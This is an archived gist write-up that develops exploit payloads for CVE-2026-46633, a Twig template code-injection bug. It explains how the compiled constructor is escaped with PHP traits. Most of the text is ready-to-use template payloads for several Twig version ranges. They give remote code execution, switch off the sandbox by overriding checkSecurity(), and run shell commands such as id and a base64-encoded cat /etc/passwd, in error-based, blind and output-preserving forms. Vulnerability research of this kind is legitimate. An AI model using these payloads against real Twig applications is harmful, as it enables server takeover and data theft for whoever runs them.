---
type: Article
title: CVE-2026-46633 writeup
description: Develops executable Twig payloads for a known code-injection bug by escaping a constrained generated constructor with PHP traits, then adds an output-preserving variant. Explains execution-order barriers, version differences, and loader/sandbox limits.
resource: "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6"
tags: [article, webseclist-reference, en, gist, ssti, twig, php, code-injection, sandbox, exploit-development, owasp-a03-2021]
generated:
  by: webseclist-refs/1
  at: "2026-10-21T11:48:27+00:00"
status: stable
stale_after: 2027-10-21
sources:
  - id: original
    resource: "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6"
    title: CVE-2026-46633 writeup
    author: vladko312
    last_modified: 2026-10-17
also_at: []
authors:
  - vladko312
canonical_url: ""
cited_by:
  - "2026-ai.md:95"
commit: ""
content_sha256: b4d02658e176e961fa43266fe0e7a710eb3a0136d34054690a4383952d278657
depth: full
depth_reason: default
kind: article
language: en
licence: unknown
original_url: "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6"
published: 2026-10-17
publisher: Gist
publisher_english: ""
raw_sha256: acc18e3f53979d5375eec9587f84659564e213331bdb6709208d3e017191fea9
retrieved_from: "https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6"
retrieved_kind: live
retrieved_utc: "2026-10-21T11:48:27+00:00"
slug: gist-cve-2026-46633-writeup
snapshot: ""
title_english: ""
translation_file: ""
translation_of: ""
---

# CVE-2026-46633 writeup

**CVE-2026-46633 writeup** - vladko312, Gist.

- Published: 2026-10-17
- Original: <https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6>
- Preserved from: https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6 (live) on 2026-10-21
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so
it remains readable if the page goes offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

[![@vladko312](https://avatars.githubusercontent.com/u/37411315?s=64&v=4)](https://gist.github.com/vladko312)

#  [vladko312](https://gist.github.com/vladko312) / **[CVE-2026-46633 writeup.md](https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6)**

 Created October 17, 2026 21:57

    Show Gist options

-  [    Star  (1)   ](https://gist.github.com/login?return_to=https%3A%2F%2Fgist.github.com%2Fvladko312%2Fd61b950f168c791db4786b83dc7a81e6)You must be signed in to star a gist
-  [    Fork  (0)   ](https://gist.github.com/login?return_to=https%3A%2F%2Fgist.github.com%2Fvladko312%2Fd61b950f168c791db4786b83dc7a81e6)You must be signed in to fork a gist

-

     Embed          Clone this repository at <script src="https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6.js"></script>

-   Save vladko312/d61b950f168c791db4786b83dc7a81e6 to your computer and use it in GitHub Desktop.

     Embed          Clone this repository at <script src="https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6.js"></script>

  Save vladko312/d61b950f168c791db4786b83dc7a81e6 to your computer and use it in GitHub Desktop.

 [Download ZIP](https://gist.github.com/vladko312/d61b950f168c791db4786b83dc7a81e6/archive/a51d4d654631ae6bd23e98d348c377e37dd8e945.zip)

 This research documents my development of payloads for the CVE-2026-46633.

# CVE-2026-46633 writeup

[![Report version](https://camo.githubusercontent.com/8b96523d975b4873f98d7ec81179e6f16c0c9dc22d2ee8ae284b80fd73c9fc5e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5265706f72745f76657273696f6e2d312e302d707572706c65)](https://camo.githubusercontent.com/8b96523d975b4873f98d7ec81179e6f16c0c9dc22d2ee8ae284b80fd73c9fc5e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5265706f72745f76657273696f6e2d312e302d707572706c65) [![Last modified](https://camo.githubusercontent.com/3aa72fa09e594c44e0af3fbee3e7383d64fdf4b3f22d6c4a95bcaeb87da0f2f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6173745f6d6f6469666965642d31382e31302e323032362d707572706c65)](https://camo.githubusercontent.com/3aa72fa09e594c44e0af3fbee3e7383d64fdf4b3f22d6c4a95bcaeb87da0f2f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6173745f6d6f6469666965642d31382e31302e323032362d707572706c65) [![CVE-2026-46633](https://camo.githubusercontent.com/6f130688ec2dc395d1490f0ae09891957aa93a9208092d78a89373a383b1eb69/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4356452d2d323032362d2d34363633332d392e332d726564)](https://camo.githubusercontent.com/6f130688ec2dc395d1490f0ae09891957aa93a9208092d78a89373a383b1eb69/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4356452d2d323032362d2d34363633332d392e332d726564) [![SSTImap module](https://camo.githubusercontent.com/46ede741db76b4eeac27dffec27fddcc9e84ffbbd5b59b8f1ce228a66713cbfc/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f535354496d61705f6d6f64756c652d6578747261732f4356452d2d323032362d2d34363633332d626c7565)](https://github.com/vladko312/extras/blob/main/CVE-2026-46633.py) [![SSTImap legacy module](https://camo.githubusercontent.com/518f5b60a4e2d06ad0e96b11d1ef7942ea41298bb0dd4179c5811e9765723f22/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f535354496d61705f6d6f64756c652d6578747261732f4356452d2d323032362d2d34363633335f5f6c65676163792d626c7565)](https://github.com/vladko312/extras/blob/main/CVE-2026-46633_legacy.py)

I continued researching sandbox bypasses discovered in Twig by project Glasswing. This time, I focused on [CVE-2026-46633](https://github.com/advisories/GHSA-7p85-w9px-jpjp), which still had no public exploits. This writeup documents my development of payloads for the CVE-2026-46633 and the corresponding [SSTImap](https://github.com/vladko312/sstimap) modules.

- Initial observations
- Compiled template analysis
- First payload: base for **Error-Based** and **Time-Based Blind** payloads
- Second payload: base for **Rendered** and **Boolean Error-Based Blind** payloads
- Limitations: what current payloads require
- SSTImap modules

## Initial observations

Since CVE-2026-46633 affects all prior versions, it is a much more useful plugin. Not only does it provide sandbox escapes for Twig >=3.3.8 <3.15.0, but it also allows code injection and sandbox bypasses for older Twig versions. Currently, there are no other known universal payloads for Twig >1.19 <2.10, even for unsandboxed environments.

Initially, CVE-2026-46633 seemed deceptively simple, but it had some caveats I had to consider. For example, the most obvious payload suggested by AI will not work:

```
{% use "'.system('id').'" %}
```

We can verify that the code is not injected by using the payload that is supposed to trigger the syntax error:

```
{% use "' test" %}
```

By reading the source code, I discovered that the injection only happens when using the `with ... as ...` syntax:

```
{% use "' test" with a as b %}
```

Still, the injected code is not executed, as an error is triggered before our code is reached. Here are the problems I discovered at the time of writing a writeup about [CVE-2026-46640](https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128):

The injected payload is escaped, which breaks a lot of potential execution strategies:

- I was unable to bypass the escaping of characters like `"` and `$`.
- Single quotes are not escaped, which is the source of the vulnerability.
- Backslash-based escapes are evaluated before escaping (e.g. `\x24` becomes `\$`)

The code is injected inside a function after a fatal error.

- The injection is inside the `__construct()`, so `__destruct()` is never called.
- Escaping of `$` prevents us from defining functions with arguments.
- I was unable to find overridable functions that would be executed.
- Escaping class definition would require defining `doDisplay` with arguments.

Checking the generated code would allow us to better understand the injection context.

## Compiled template analysis

```
<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;

/* tpl */
class __TwigTemplate_7c8284d2594a88410ebde0c1e95bd736 extends Template
{
    private Source $source;
    /**
     * @var array<string, Template>
     */
    private array $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        // line 1
        $_trait_0 = $this->loadTemplate("' test", "tpl", 1);
        if (!$_trait_0->unwrap()->isTraitable()) {
            throw new RuntimeError('Template "'."' test".'" cannot be used as a trait.', 1, $this->source);
        }
        $_trait_0_blocks = $_trait_0->unwrap()->getBlocks();

        if (!isset($_trait_0_blocks["a"])) {
            throw new RuntimeError('Block "a" is not defined in trait "' test".', 1, $this->source);
        }

        $_trait_0_blocks["b"] = $_trait_0_blocks["a"]; unset($_trait_0_blocks["a"]); $this->traitAliases["b"] = "a";

        $this->traits = $_trait_0_blocks;

        $this->blocks = array_merge(
            $this->traits,
            [
            ]
        );
    }

    protected function doDisplay(array $context, array $blocks = []): iterable
    {
        $macros = $this->macros;
        yield from [];
    }

    /**
     * @codeCoverageIgnore
     */
    public function getTemplateName(): string
    {
        return "tpl";
    }

    /**
     * @codeCoverageIgnore
     */
    public function getDebugInfo(): array
    {
        return array (  35 => 1,);
    }

    public function getSourceContext(): Source
    {
        return new Source("", "tpl", "");
    }
}
```

Code is unsafely injected on line 42 (only present when using `with ... as ...` syntax):

```
throw new RuntimeError('Block "a" is not defined in trait "' test".', 1, $this->source);
```

Without syntax error, the execution is interrupted by fatal error caused by line 35:

```
$_trait_0 = $this->loadTemplate("' test", "tpl", 1);
```

## First payload

Since our code in `__construct` will never be reached, we need to escape the context of that function. There are no useful functions we can override to get execution, so we would need to escape the class and insert our payload there.

Escaping class definition in the most obvious way would cause an error, as we would need to define some methods declared in `Twig` class as abstract. One of those methods, `doDisplay`, requires arguments, but our code is escaped, so we can't just use `$`.

I decided to use an approach similar to the one I used in the second payload for [CVE-2026-46640](https://gist.github.com/vladko312/39507beaa58eacf3b62e6a6e6cd69128). I searched for a way to catch all the functions defined after the injected code and use them in the class definition. In PHP, this could be achieved using ***traits***, which allow us to achieve RCE:

```
{% use "');}}use A;}system('id');trait A{function a(){if(0){//" with a as b %}
```

This payload worked and printed the command output before the template was rendered and triggered an error. Similarly to CVE-2026-46640, I made a proper **Error-Based** payload:

```
{% use "');}}use A;}error_reporting(1);ini_set('display_errors', 1);shell_exec('id')();trait A{function a(){if(0){//" with a as b %}
```

Just like in CVE-2026-46640, I also used the same payload idea to create **Time-Based Blind** payload:

```
{% use "');}}use A;}system('id && sleep 5');trait A{function a(){if(0){//" with a as b %}
```

These payloads work for **Twig** versions >=2.5.0 <3.26.0 in sandboxed and unsandboxed environments. In **Twig** versions <1.15.1, vulnerability does not apply, as the error messages for `with ... as ...` syntax are not present. For **Twig** versions >=1.15.1 <2.5.0 the payloads need an additional `)` to escape the context:

```
# RCE:
{% use "'));}}use A;}system('id');trait A{function a(){if(0){//" with c as b %}
# Error-Based:
{% use "'));}}use A;}error_reporting(1);ini_set('display_errors', 1);shell_exec('id')();trait A{function a(){if(0){//" with a as b %}
# Time-Based Blind:
{% use "'));}}use A;}system('id && sleep 5');trait A{function a(){if(0){//" with a as b %}
```

## Second payload

The previous approach still causes an error during the rendering process, which is not ideal for some techniques. Avoiding the error would allow us to create stable **Rendered** and **Boolean Error-Based Blind** payloads.

I decided to look for some gadgets that could be used to avoid the error. Since some of the functions are defined in a trait, I decided to check what happens when the same function names are used in the class and in the trait. Turns out, class functions have a priority, so we can redefine some of the functions declared in the trait.

To avoid the error, we would need a way to execute code in the context of the class during the `__construct()` call before the error is triggered. For Twig versions >= 2.4.5 it is possible using `getSourceContext()` function:

```
{% use "');}}use A;function getSourceContext():Source{system('id');}}trait A{function a(){if(0){//" with a as b %}
```

We are limited by escaping, so there is no way to run arbitrary code with special characters. To bypass that, we can use Base64 encoding. Here is the example that executes `print_r($this);`:

```
{% use "');}}use A;function getSourceContext():Source{eval(base64_decode('cHJpbnRfcigkdGhpcyk7'));}}trait A{function a(){if(0){//" with a as b %}
```

To provide the correct return value for `getSourceContext`, we can use `return new Twig\Source("",$this->getTemplateName(),"");`:

```
{% use "');}}use A;function getSourceContext():Source{return eval(base64_decode('cHJpbnRfcigkdGhpcyk7cmV0dXJuIG5ldyAgIFR3aWdcU291cmNlKCIiLCR0aGlzLT5nZXRUZW1wbGF0ZU5hbWUoKSwiIik7'));}}trait A{function a(){if(0){//" with a as b %}
```

We still get the error, as there is no template that has our payload as the name. To avoid it, we would need to add that template ourselves.

It would need to contain the block called `a` and a name with our payload. To get the name, we could re-compile our template and find the name in the source code using the regex:

```
$n = $this->getTemplateName();
$e = $this->env;
$s = $e->compileSource($e->getLoader()->getSourceContext($n));
preg_match('/sstimap1.*sstimap2/', $s, $m);
$e->getLoader()->setTemplate($m[0], '{%block a%}{%endblock%}');
return new Twig\Source("", $n, "");
```

Template that achieves RCE without errors (Base64 blob uses minified code):

```
{% use "sstimap1');}}use A;function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}}trait A{function a(){if(0){//sstimap2" with a as b %}
```

We can also overwrite the `checkSecurity()` function from the trait to disable the sandbox (but only in the main template):

```
{% use "sstimap1');}}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}}trait A{function a(){if(0){//sstimap2" with a as b %}
```

To inject the code without changing a big Base64 blob I decided to separate the injection and the payload. The payload could be provided in Base64 as a constant on the class and the big blob can process it. Here is the code of the big Base64 blob:

```
$n = $this->getTemplateName();
$e = $this->env;
$s = $e->compileSource($e->getLoader()->getSourceContext($n));
preg_match('/sstimap1.*sstimap2/', $s, $m);
$e->getLoader()->setTemplate($m[0], '{%block a%}{%endblock%}');
echo eval('return ' . base64_decode(self::p) . ';');
return new Twig\Source("", $n, "");
```

Template that accepts payloads in Base64 (blob uses minified code, payload is `shell_exec("id")`/`c2hlbGxfZXhlYygiaWQiKQ==`):

```
{% use "sstimap1');}}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){if(0){//sstimap2" with a as b %}
```

This template still breaks the complete rendering, as `__construct()` never finishes properly. To fix this, we would need to somehow run code from our `a()` trait function in the context of `__construct()`. PHP does not give us an easy way to run the function in another context or grab the code for `eval`.

Luckily, we are already in the same class, so we only need to make local variables available in `a()`. For example, we can save local variables into a global array in `__construct()` and then `extract` them inside `a()`. This could be done with more Base64 blobs and `eval`s:

```
// in __construct():
global $sstimap;
$sstimap = array_diff_key(get_defined_vars(), $GLOBALS);
$this->a();

// in a():
global $sstimap;
extract($sstimap);
```

And our template now looks like this:

```
{% use "sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}
```

This payload will only work for **Twig** versions >=2.7.0 <3.26.0. Before that, `new Twig\Source("", $n, "")` will create `Twig_Source` class that will not match expected `Source`. To address that, we can conditionally add an alias to `Twig_Source`:

```
{% use "sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTsNCiRlLT5nZXRMb2FkZXIoKS0+c2V0VGVtcGxhdGUoJG1bMF0sJ3slYmxvY2sgYSV9eyVlbmRibG9jayV9Jyk7ZWNobyBldmFsKCdyZXR1cm4gJy5iYXNlNjRfZGVjb2RlKHNlbGY6OnApLic7Jyk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}
```

We can restore the original rendering, but we still need a way to get the output of our injected code back into the template. Since we already disabled the sandbox, we can use Twig's own `block()` function to pass the output through our block:

```
$n = $this->getTemplateName();
$e = $this->env;
$s = $e->compileSource($e->getLoader()->getSourceContext($n));
preg_match('/sstimap1.*sstimap2/', $s, $m);
$e->getLoader()->setTemplate($m[0], '{%block a%}' . eval('return ' . base64_decode(self::p) . ';') . '{%endblock%}');
return new Twig\Source("", $n, "");
```

And the final **Rendered** payload now looks like this:

```
{% use "sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfScuZXZhbCgncmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTtyZXR1cm4gbmV3IFR3aWdcU291cmNlKCIiLCRuLCIiKTs='));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}{{block('b')}}
```

For **Boolean Error-Based Blind** technique I used a similar approach, but decided to split code evaluation and shell execution:

```
// PHP code evaluation:
$n = $this->getTemplateName();
$e = $this->env;
$s = $e->compileSource($e->getLoader()->getSourceContext($n));
preg_match('/sstimap1.*sstimap2/', $s, $m);
$e->getLoader()->setTemplate($m[0], '{%block a%}{%endblock%}');
1 % (true && eval('return ' . base64_decode(self::p) . ';'));
return new Twig\Source("", $n, "");

// Shell command execution:
$n = $this->getTemplateName();
$e = $this->env;
$s = $e->compileSource($e->getLoader()->getSourceContext($n));
preg_match('/sstimap1.*sstimap2/', $s, $m);
$e->getLoader()->setTemplate($m[0], '{%block a%}{%endblock%}');
1 % (pclose(popen(base64_decode(self::p), "wb")) == 0);
return new Twig\Source("", $n, "");
```

And our final **Boolean Error-Based Blind** payloads are:

```
# PHP code evaluation (payload is: c3RybGVuKCdUZXN0JykgPT0gNA== / strlen('Test') == 4):
{% use "sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHRydWUmJmV2YWwoJ3JldHVybiAnLmJhc2U2NF9kZWNvZGUoc2VsZjo6cCkuJzsnKSk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c3RybGVuKCdUZXN0JykgPT0gNA==';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}

# Shell command execution (payload is: Y2F0IC9ldGMvcGFzc3dk / cat /etc/passwd):
{% use "sstimap1');}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext():Source{return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHBjbG9zZShwb3BlbihiYXNlNjRfZGVjb2RlKHNlbGY6OnApLCJ3YiIpKT09MCk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='Y2F0IC9ldGMvcGFzc3dk';}if(!class_exists('Source')){class_alias('Twig_Source','Source');}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}
```

Similarly to the first payload, these payloads work for **Twig** versions >=2.5.0 <3.26.0 in sandboxed and unsandboxed environments. In **Twig** versions <2.4.5, `getSourceContext()` is not called by the constructor, so I was unable to avoid the eventual fatal error. For **Twig** versions >=2.4.5 <2.5.0 the payloads need an additional `)` to escape the context and the function return type can be removed:

```
# Rendered:
{% use "sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfScuZXZhbCgncmV0dXJuICcuYmFzZTY0X2RlY29kZShzZWxmOjpwKS4nOycpLid7JWVuZGJsb2NrJX0nKTtyZXR1cm4gbmV3IFR3aWdcU291cmNlKCIiLCRuLCIiKTs='));}const p='c2hlbGxfZXhlYygiaWQiKQ==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}{{block('b')}}
# Boolean Error-Based Blind PHP code evaluation (payload is: c3RybGVuKCdUZXN0JykgPT0gNA== / strlen('Test') == 4):
{% use "sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHRydWUmJmV2YWwoJ3JldHVybiAnLmJhc2U2NF9kZWNvZGUoc2VsZjo6cCkuJzsnKSk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='c3RybGVuKCdUZXN0JykgPT0gNA==';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}
# Boolean Error-Based Blind shell command execution (payload is: Y2F0IC9ldGMvcGFzc3dk / cat /etc/passwd):
{% use "sstimap1'));}eval(base64_decode('Z2xvYmFsICRzc3RpbWFwOyRzc3RpbWFwPWFycmF5X2RpZmZfa2V5KGdldF9kZWZpbmVkX3ZhcnMoKSwkR0xPQkFMUyk7JHRoaXMtPmEoKTs='));}use A;function checkSecurity(){}function getSourceContext(){return eval(base64_decode('JG49JHRoaXMtPmdldFRlbXBsYXRlTmFtZSgpOyRlPSR0aGlzLT5lbnY7JHM9JGUtPmNvbXBpbGVTb3VyY2UoJGUtPmdldExvYWRlcigpLT5nZXRTb3VyY2VDb250ZXh0KCRuKSk7cHJlZ19tYXRjaCgnL3NzdGltYXAxLipzc3RpbWFwMi8nLCRzLCRtKTskZS0+Z2V0TG9hZGVyKCktPnNldFRlbXBsYXRlKCRtWzBdLCd7JWJsb2NrIGElfXslZW5kYmxvY2slfScpOzElKHBjbG9zZShwb3BlbihiYXNlNjRfZGVjb2RlKHNlbGY6OnApLCJ3YiIpKT09MCk7cmV0dXJuIG5ldyBUd2lnXFNvdXJjZSgiIiwkbiwiIik7'));}const p='Y2F0IC9ldGMvcGFzc3dk';}trait A{function a(){eval(base64_decode('Z2xvYmFsICRzc3RpbWFwO2V4dHJhY3QoJHNzdGltYXApOw=='));if(0){//sstimap2" with a as b %}
```

## Limitations

The first payload works for all Twig contexts in vulnerable versions, but requires two variations:

- **Twig** versions >=2.5.0 <3.26.0
- **Twig** versions >=1.15.1 <2.5.0

Here are the limitations that can prevent the second payload from working in some cases:

- Second template needs a `{% block ... %}` tag, which can be blocked by the global sandbox
- The payload assumes that the backend uses `ArrayLoader`, which might not be true
- The payload relies on `getSourceContext()` call in `__construct()`, which was only added in Twig 2.4.5

Considering these limitations, second payload still requires two variations:

- **Twig** versions >=2.5.0 <3.26.0
- **Twig** versions >=2.4.5 <2.5.0

## SSTImap modules

Since **Twig** versions >=1.15.1 <2.5.0 require slightly different payloads, I decided to create two separate modules for old and new versions.

